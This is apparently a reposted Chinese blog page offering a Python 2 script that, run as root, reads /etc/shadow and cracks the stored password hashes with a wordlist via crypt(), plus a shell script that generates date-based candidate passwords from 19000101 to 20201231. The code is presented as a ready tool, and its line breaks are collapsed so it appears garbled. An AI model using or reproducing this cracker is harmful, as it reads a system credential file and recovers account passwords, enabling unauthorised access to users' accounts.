穷举破解linux登录密码

来源:互联网 发布:java底层框架源码 编辑:程序博客网 时间:2024/04/30 10:50

适用于以root用户登录后执行代码,密码存放在password.txt中,读取/etc/shadow内容,解密加密后密码

# -*- coding: utf-8 -*-import osimport cryptimport timeimport multiprocessingdef decrypt_linux_passwd(find_user, salt, passwd):password = open("password.txt")for line in password:        line = line.strip("\n")                result = crypt.crypt(line, salt)                if result == passwd:                print "user %s decrypted, passwd = %s" %(str(find_user), str(line))print "end decrypted user %s  endtime = %s" %(str(find_user), str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))))password.close()returnpassword.close()print "end decrypted user %s  endtime = %s" %(str(find_user), str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))))returndef read_shadow():info = {}user_file = open("/etc/shadow")        for line in user_file:                line = line.strip("\n")                user = line.split(":")[0]                passwd = line.split(":")[1]                if passwd.find("$") != -1:list_info = []salt = passwd[0:passwd.rfind("$")+1]list_info.append(salt)list_info.append(passwd)info[user] = list_info        user_file.close()return infodef main():shadow_info = {}shadow_info = read_shadow()if 0 == len(shadow_info):print "shadow info error" pool = multiprocessing.Pool(processes=4)for key, value in shadow_info.items():print "begin decrypted user %s  begintime = %s" %(str(key), str(time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))))        pool.apply_async(decrypt_linux_passwd, (key, value[0], value[1]))print "multiprocessing !!"pool.close()pool.join()if __name__ == "__main__":main()


生成日期密码 代码 19000101 - 20201231

#!/bin/shfor i in `seq 1900 2020`dofor j in `seq 01 12`doif [ `echo ${#j}` -eq 1 ]thenmonth=0${j}elsemonth=$jfifor k in `seq 01 31`doif [ `echo ${#k}` -eq 1 ]thendate=0${k}elsedate=$kfiecho $i$month$datedonedonedone


0 0